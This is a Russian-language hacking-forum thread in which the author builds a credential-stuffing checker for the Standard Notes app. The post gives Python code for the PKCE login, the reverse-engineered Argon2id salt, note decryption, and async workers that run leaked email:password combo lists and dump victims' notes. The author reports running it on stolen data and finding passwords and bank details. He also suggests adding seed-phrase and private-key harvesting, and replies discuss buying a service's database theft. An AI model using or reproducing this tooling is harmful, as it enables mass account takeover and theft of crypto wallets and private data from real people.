LIMB
Вход Регистрация

тема

стандартные заметки

bezmyatezhnost · · 9 ответов · 182 просмотров

Не удалось прогрузить медиа

​
Всех приветствую, сегодня потрошим Standard Notes. Кто не в курсе, это заметочник для параноиков, end-to-end шифрование, zero-knowledge, опенсорс, вот это всё. Позиционируют себя как самое безопасное место для хранения чего угодно. И люди верят. Ещё как верят. Складывают туда сид-фразы от крипты, приватные ключи от кошельков, мнемоники, пароли от бирж, пин-коды от банков, да вообще всё что страшно потерять. Логика простая, "раз encrypted, значит безопасно, значит можно хранить самое ценное". А теперь представьте, что пароль от этого хранилища совпадает с почтой. Или стоит в каком-нибудь старом клауде. Или вообще password123. И вся эта военная криптография превращается в тыкву, потому что мастер-ключ деривируется из пароля, и кто знает пароль, тот читает ВСЁ. Все сиды, все ключи, все заметки, всё что человек когда-либо туда положил, думая что оно в безопасности. Сегодня мы напишем чекер, который не просто проверяет валидность связки email:password, а полноценно расшифровывает все заметки и сохраняет их в папочку. Голым питоном, без браузера, без клиента. По дороге разберём как у них устроена авторизация и шифрование, потому что без этого ничего не получится.

Не удалось прогрузить медиа
​

Небольшая предыстория. Сидел, смотрел на очередной клауд, и в утечке мелькнул standardnotes.com. Подумал, а интересно, что люди туда кладут? Полез в DevTools, посмотрел что летит при логине, и понял что тут не просто "POST /login с паролем", а целый танец с бубном. И крипта внутри серьёзная, Argon2id на деривации ключей, XChaCha20-Poly1305 на шифровании заметок, матрёшка из ключей внутри ключей. Но вся эта серьёзность упирается в одно, в пароль пользователя. И если пароль говно, то все эти умные слова ничего не стоят. Как обычно, разберём всё по шагам, с граблями на которые наступил, и с кодом который можно взять и запустить. Погнали.

Не удалось прогрузить медиа
​

Что за зверь? Standard Notes это заметочник, типа Evernote или Apple Notes, только с упором на приватность. Опенсорс, клиент под все платформы, сервер можно поднять свой. Сервер НЕ видит содержимое заметок, всё шифруется на клиенте. На бумаге всё красиво. Но на практике, именно из-за этой репутации "самого безопасного заметочника" люди тащат туда вещи, которые нигде больше хранить не рискнули бы. Сид-фразы от MetaMask, Trust Wallet, Ledger. Приватные ключи от кошельков. SSH-ключи. Пароли от бирж. Налоговые документы. Адреса, телефоны, документы. И всё это лежит за одним паролем. Один пароль, и у тебя ВСЁ. Не пароль от одного сервиса, а ключ ко всей цифровой жизни человека. 

Не удалось прогрузить медиа
​

Ладно, хватит лирики. Давайте смотреть, как вообще работает логин в Standard Notes, потому что без понимания этого, дальше будет больно. Открываем app.standardnotes.com, включаем DevTools, вводим какие-нибудь креды, и наблюдаем. Первое что бросается в глаза, это не один запрос, а два. Сначала клиент стучится на /v2/login-params, а потом уже на /v2/login. И между ними происходит та самая магия.

Не удалось прогрузить медиа
​

Шаг первый, PKCE. Прежде чем вообще что-то слать на сервер, клиент генерирует пару verifier/challenge. PKCE (Proof Key for Code Exchange) это штука из OAuth 2.0, придуманная чтоб man-in-the-middle не мог перехватить авторизацию. Суть простая, генерируем случайные 32 байта (verifier), считаем от них SHA-256, кодируем в base64, и получаем challenge. Challenge шлём на сервер вместе с запросом параметров, verifier потом шлём при логине. Сервер проверяет что sha256(verifier) == challenge, и если совпало, значит тот кто логинится, тот же кто запрашивал параметры. Антиреплей, если хотите.

Code:
def make_pkce() -> tuple[str, str]:
    verifier = secrets.token_bytes(32).hex()
    digest_hex = hashlib.sha256(verifier.encode()).hexdigest()
    challenge = base64.b64encode(digest_hex.encode()).decode().rstrip("=")
    return verifier, challenge

Ничего сложного. Но есть прикол, Standard Notes считает SHA-256 не от сырых байтов, а от hex-строки verifier'а, и потом base64 тоже берёт не от сырых байтов хэша, а от hex-строки хэша. Двойная hex-строкизация. Узнал я об этом, естественно, не из документации (какая документация, смешно), а ковыряя их минифицированный app.js. Приятного аппетита.

Не удалось прогрузить медиа
​

Шаг второй, запрос KDF-параметров. Шлём POST на /v2/login-params с email'ом и challenge'ем. Сервер возвращает нам версию протокола (004 или 003), pw_nonce (случайный salt), и identifier. По сути сервер говорит: "ага, этот юзер у нас на версии 004, вот тебе соль, иди деривируй ключи". Кстати, тут же и первый подарочек, если email не зарегистрирован, сервер отвечает 404. То есть у нас из коробки user enumeration, бесплатно, без регистрации и SMS. Спасибо, Standard Notes, очень мило.

Code:
r = await client.post(
    f"{API}/v2/login-params",
    json={"email": email, "code_challenge": challenge, "api": "20240226"},
)
params = r.json().get("data", r.json())
version = params["version"]     # "004"
pw_nonce = params["pw_nonce"]   # случайная соль
identifier = params["identifier"]

Не удалось прогрузить медиа
​

Шаг третий, KDF. Key Derivation Function, это алгоритм, который из пароля делает криптографически стойкий ключ фиксированной длины. В версии 004 используется Argon2id, победитель Password Hashing Competition. Параметры: time_cost=5, memory_cost=65536 KiB (64 мегабайта на одну деривацию), parallelism=1, выходная длина 64 байта. Первые 32 байта это masterKey, вторые 32 это serverPassword. masterKey никогда не покидает клиент, он нужен для расшифровки заметок. serverPassword отправляется на сервер вместо реального пароля. Сервер НИКОГДА не видит ваш настоящий пароль, только производную от него. Но вот тут грабли #1, на которые я наступил и провёл час в недоумении. Соль. Документации по формату соли нет. Ну, есть какие-то обрывки на docs.standardnotes.com, но они врут. Я попробовал sha256(identifier + ":" + "SF:004:000000" + ":" + pw_nonce), как подсказывала "документация". Не совпало. Попробовал sha256(email + pw_nonce). Не совпало. В итоге полез в минифицированный app.js, и нашёл.

Code:
def salt_004(identifier: str, pw_nonce: str) -> str:
    payload = f"{identifier}:{pw_nonce}"
    return hashlib.sha256(payload.encode()).hexdigest()[:32]

SHA-256 от строки "identifier:pw_nonce", берём первые 32 hex-символа (это 16 байт, ArgonSaltLength=128 бит), и скармливаем Argon2 как сырые байты. Без всяких "SF:004:000000", без магических префиксов, просто identifier, двоеточие, nonce. Проверил, masterKey и serverPassword совпали с эталонными. Ура, лыжи поехали. Полная деривация:

Code:
def derive_004(password, identifier, pw_nonce):
    salt = bytes.fromhex(salt_004(identifier, pw_nonce))
    raw = hash_secret_raw(
        secret=password.encode("utf-8"),
        salt=salt,
        time_cost=5,
        memory_cost=64 * 1024,
        parallelism=1,
        hash_len=64,
        type=Type.ID,
    )
    return raw[:32].hex(), raw[32:].hex()  # masterKey, serverPassword

Для совсем старых аккаунтов (версия 003) используется PBKDF2-SHA512 с кастомной солью и другим форматом, но таких аккаунтов уже мало, код есть в финальном скрипте.

Не удалось прогрузить медиа
​

Шаг четвёртый, логин. Шлём POST на /v2/login с email, serverPassword, и code_verifier (тот самый PKCE). Если пароль правильный, сервер возвращает 200 с сессионным токеном. Если нет, 401. Просто, как два пальца.

Code:
r = await client.post(
    f"{API}/v2/login",
    json={
        "email": email,
        "password": server_pw,
        "ephemeral": False,
        "code_verifier": verifier,
        "hvm_token": "",
        "api": "20240226",
    },
)
if r.status_code == 200:
    token = r.json()["data"]["session"]["access_token"]

Не удалось прогрузить медиа
​

Окей, мы залогинились. У нас есть токен и masterKey. Половина дела сделана. Теперь самое вкусное, расшифровка заметок. И вот тут начинается тот самый цирк с матрёшками, о котором я предупреждал. Standard Notes хранит данные в так называемых items. Каждый item это JSON-объект с полями content_type, content, enc_item_key, и кучей метаданных. Типы бывают разные: SN|ItemsKey, Note, SN|UserPreferences, и так далее. Заметки это Note, это понятно. Но чтоб расшифровать Note, нужен itemsKey. А itemsKey сам зашифрован и лежит в item'е типа SN|ItemsKey. А чтоб расшифровать SN|ItemsKey, нужен masterKey. Матрёшка, говорил же. Получаем все items через sync API:

Code:
r = await client.post(
    f"{API}/v1/items",
    json={"limit": 500, "api": "20240226", "items": []},
    headers={"authorization": f"Bearer {token}"},
)
items = r.json()["data"]["retrieved_items"]

Не удалось прогрузить медиа
​

Теперь про формат шифрования. Каждое зашифрованное поле выглядит так: 004:nonce_hex:ciphertext_b64:aad_b64:extra_b64. Пять частей через двоеточие. 004 это версия протокола, nonce это 24 байта для XChaCha20, ciphertext это собственно шифротекст с тегом Poly1305, aad это authenticated additional data (в base64), и extra это дополнительные данные. Алгоритм, XChaCha20-Poly1305 (IETF), AEAD-шифрование через libsodium. Не только шифрует, но и проверяет целостность, если хоть один бит изменён, расшифровка упадёт.

Code:
def decrypt_004(content, key_hex):
    parts = content.split(":")
    if len(parts) < 4 or parts[0] != "004":
        return None
    nonce = bytes.fromhex(parts[1])              # 24 байта
    ct = base64.b64decode(b64pad(parts[2]))       # шифротекст + тег
    aad = parts[3].encode("utf-8")                # AAD как UTF-8 строка
    key = bytes.fromhex(key_hex)                  # 32 байта ключ
    plaintext = nacl.bindings.crypto_aead_xchacha20poly1305_ietf_decrypt(
        ct, aad, nonce, key
    )
    return plaintext.decode("utf-8")

Грабли #2, и вот это стоило мне несколько часов жизни, которые я уже никогда не верну. Я перепробовал четыре варианта AAD: как base64-строку в UTF-8 байтах, как декодированные base64 байты, как None, как конкатенацию четвёртой и пятой частей. ВСЕ ЧЕТЫРЕ ФЭЙЛИЛИ. Знаете почему? Потому что я пытался расшифровать CONTENT напрямую мастер-ключом. А надо было расшифровывать ENC_ITEM_KEY. Это два разных поля у каждого item'а. enc_item_key это зашифрованный per-item ключ, content это зашифрованное содержимое. И правильная последовательность такая:

Для SN|ItemsKey:
  1. Берём enc_item_key из item'а
  2. Расшифровываем его мастер-ключом ~> получаем per-item ключ (hex-строка)
  3. Берём content из того же item'а
  4. Расшифровываем его per-item ключом ~> получаем JSON с полем itemsKey
  5. Запоминаем этот itemsKey

Для Note:
  1. Берём enc_item_key из Note
  2. Расшифровываем его itemsKey ~> получаем per-note ключ
  3. Берём content из Note
  4. Расшифровываем его per-note ключом ~> получаем JSON с title и text

Два уровня шифрования на каждый item. Это я понял, только когда полез в app.js и нашёл вот этот кусок:

Code:
decryptContentKey(e, t) {
    const n = parseComponents(e.enc_item_key);
    return this.decrypt(e, n, t.itemsKey);
}
decryptContent(e, t) {
    const n = parseComponents(e.content);
    return this.decrypt(e, n, t);  // t = расшифрованный per-item key
}

И отдельно для rootKey (мастер-ключа):

Code:
get itemsKey() { return this.masterKey }

То есть rootKey.itemsKey это просто masterKey. Для SN|ItemsKey "родительский ключ" = мастер-ключ. Для Note "родительский ключ" = itemsKey из расшифрованного SN|ItemsKey. Всё встало на свои места. А AAD, кстати, берётся именно как base64-строка в UTF-8 байтах. Первый вариант был правильный с самого начала. Просто ключ был не тот. Три часа жизни на то, чтоб понять что я расшифровываю не то поле. Ну классика.

Code:
def _decrypt_item_two_step(item, key_hex):
    enc_ik = item.get("enc_item_key", "")
    content = item.get("content", "")
    if not enc_ik.startswith("004:") or not content.startswith("004:"):
        return None
    per_item_key = decrypt_004(enc_ik, key_hex)
    if not per_item_key:
        return None
    return decrypt_004(content, per_item_key)

Собираем всё вместе. Сначала расшифровываем все SN|ItemsKey мастер-ключом, получаем itemsKey'и. Потом расшифровываем все Note соответствующим itemsKey. Каждый Note знает какой itemsKey ему нужен через поле items_key_id.

Code:
def decrypt_notes(items, master_key):
    items_keys = {}
    for item in items:
        if item.get("content_type") != "SN|ItemsKey":
            continue
        decrypted = _decrypt_item_two_step(item, master_key)
        if not decrypted:
            continue
        obj = json.loads(decrypted)
        ik = obj.get("itemsKey")
        if ik:
            items_keys[item["uuid"]] = ik

    notes = []
    for item in items:
        if item.get("content_type") != "Note" or item.get("deleted"):
            continue
        ik_id = item.get("items_key_id")
        ik_hex = items_keys.get(ik_id)
        if not ik_hex:
            continue
        dec = _decrypt_item_two_step(item, ik_hex)
        if not dec:
            continue
        obj = json.loads(dec)
        notes.append({
            "title": obj.get("title", "(no title)"),
            "text": obj.get("text", ""),
        })
    return notes

Теперь давайте обернём это в нормальный чекер с многопоточностью (ну, асинхронностью, мы же на asyncio). На вход подаём файл combo.txt в формате email:password, на выходе получаем результат по каждой строке, а для валидных аккаунтов ещё и дамп заметок в папку sn_dumps/. Используем httpx с HTTP/2, asyncio.Queue для распределения задач, и пул воркеров.

Code:
async def worker(name, queue, client, out):
    while True:
        item = await queue.get()
        if item is None:
            queue.task_done()
            return
        email, password = item
        res = await check_one(client, email, password)
        line = f"[{res.status}] {res.email}:{password}"
        if res.status == "VALID":
            line += f"  notes={res.notes_count}  mk={res.master_key[:16]}..."
        print(line, flush=True)
        if res.status == "VALID":
            out.write(f"{email}:{password}:{res.notes_count}notes\n")
            out.flush()
        queue.task_done()

Не удалось прогрузить медиа
 
​
Ну, и конечно тесты. Я погонял немного строчек из своей базы юлп, предварительно дёрнув именно по домену. И что я получил? Парочку паролей от почты родственников, какие-то банковские реквизиты, планы на жизнь людей, доступы к какой-то внутренней системе пенсий для работодателей в индии, и так далее.. Можете увидеть тут. Прикладываю скрин
Не удалось прогрузить медиа

Не удалось прогрузить медиа

Не удалось прогрузить медиа

Не удалось прогрузить медиа

Не удалось прогрузить медиа
​

Фулл-сурс я выкладывать не буду, думаю понятно почему. Все кирпичики я разложил, каждая функция объяснена, каждый шаг показан, собрать из этого рабочий инструмент дело получаса для любого кто хоть раз писал на питоне. Кто не хочет собирать сам, ну, на рынке подобный чекер продаётся за 250$ в скомпиленном виде, а исходники аж за 600$ (64к рублей, я в курсе как дела с курсом, автор указывает именно 64к рублей). При том что вся логика, вот она, выше, бесплатно, с объяснением. Делайте выводы.

Не удалось прогрузить медиа
​

Что можно докрутить сверху, если хотите превратить это в полноценный комбайн:
  • Парс сид-фраз по словарям BIP-39 на разных языках (английский, испанский, португальский, японский, чешский, китайский), ищем последовательности из 12/15/18/21/24 слов в тексте заметок
  • Парс приватных ключей, hex (64 символа), WIF (начинается на 5/K/L), EVM-формат
  • Поддержка прокси (HTTP/S, SOCKS4, SOCKS5) с ротацией и загрузкой по ссылке
  • Автоматический grep по паттернам: ssh-rsa, BEGIN PRIVATE KEY, xprv, 0x, bc1, и так далее
  • Экспорт результатов в CSV/JSON для дальнейшей обработки

По сути из того что я показал выше можно за вечер собрать то, что другие продают за сотни долларов. Вся крипто-логика разжёвана, sync API описан, двухуровневая дешифровка работает. Осталось только обвязку накинуть под свои нужды. Что мы имеем по итогу? Полный разбор криптографической архитектуры Standard Notes от и до: PKCE-авторизация, Argon2id KDF с нестандартной солью (которую пришлось реверсить из минифицированного app.js), двухуровневая матрёшка шифрования с per-item ключами, XChaCha20-Poly1305 AEAD через libsodium. Всё это работает без браузера, без Selenium, без headless Chrome, чистый Python с тремя зависимостями. Сервер не использует ни капчу, ни рейтлимит на первых попытках (только после 6-7 фэйлов начинает просить hvm_token), что для сервиса хранящего крипто-сиды и приватные ключи, мягко говоря, оптимистично. Мораль простая, end-to-end шифрование защищает данные в транзите и на сервере, но оно абсолютно бесполезно, если ключ деривируется из пароля, а пароль слабый. Все эти красивые слова про "zero-knowledge" и "military-grade encryption" работают ровно до тех пор, пока юзер не поставит пароль qwerty123. А люди, которые хранят там сиды на сотни тысяч долларов, почему-то верят что слово "encrypted" их защитит от собственной лени придумать нормальный пароль. Всем пока, не болейте!
👍17 😁3 🤔4
Ответbezmyatezhnost

юзер не поставит пароль qwerty123. А люди, которые хранят там сиды на сотни тысяч долларов, почему-то верят что слово "encrypted" их защитит от собственной лени придумать нормальный пароль.

все очень круто, супер.
Но есть нюанс: 123 как раз и ставят там где брать нечего. А там где лямы (да всяко бывает), но как правило все-таки не qwerty123
Ответlisa99

Но есть нюанс: 123 как раз и ставят там где брать нечего. А там где лямы (да всяко бывает), но как правило все-таки не qwerty123

Если честно, это ошибочное суждение. По крайней мере мой опыт, говорит об обратном.  Не часто конечно, но могут попасться максимально обычные креды. по типу 123456
и внутри будет ценнее, чем в qfFalmpw51"5%!lva.
Очень много наивных людей. Это факт
👍1
Для обычной статьи все очень круто, соглашусь на все 100%.
Даже если прочесать парсером по словарям - что-то да найдется.
Но.
Есть проблема №2.
ТС и другие уже прочесали...
👍2
Ответlisa99

Для обычной статьи все очень круто, соглашусь на все 100%. Даже если прочесать парсером по словарям - что-то да найдется. Но. Есть проблема №2. ТС и другие уже прочесали...

xDD а кто сказал, что у меня все ЮЛП мира?)
Ответbezmyatezhnost

xDD а кто сказал, что у меня все ЮЛП мира?)

сорри, я имела ввиду простые пароли. Именно их уже проверили вдоль и поперек.

И да. Кое-кто заказывал слив похожего сервиса под ключ.
А выборочная проверка - да, зависит от твоих баз и как повезет)
Ответlisa99

Кое-кто заказывал слив

что значит слив в данном контексте?)
👍1
Ответbezmyatezhnost

что значит слив в данном контексте?)

БД всего сервиса. Всего. 
я помню такой заказ на эксплойте. помню заказчика.
А вот с суммой сейчас клинит. То что помню кажется очень малым...Найду, если найду, - отпишусь
👍2
Ответlisa99

БД всего сервиса. Всего. я помню такой заказ на эксплойте. помню заказчика. А вот с суммой сейчас клинит. То что помню кажется очень малым...Найду, если найду, - отпишусь

да то что там китайозы себе фантазируют пускай оставят при себе)) если так смотреть полэкспы переобделано need hack ., will pay $xx.xxx, urgently!!
👍5
Ответbezmyatezhnost

да то что там китайозы себе фантазируют пускай оставят при себе)) если так смотреть полэкспы переобделано need hack . , will pay $xx.xxx, urgently!!

какие нахер китайцы??
Вполне себе авторитетный товарисч с регой меньше 2011 года, абсолютно русскоязычный, заказал в разделе Работа слив БД сервиса 
Заметок - какого имеено,  уже не помню. Сумма была меньше 15К за работу.
Так делают сурьёзные товарищи.
👍4 🔥1

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.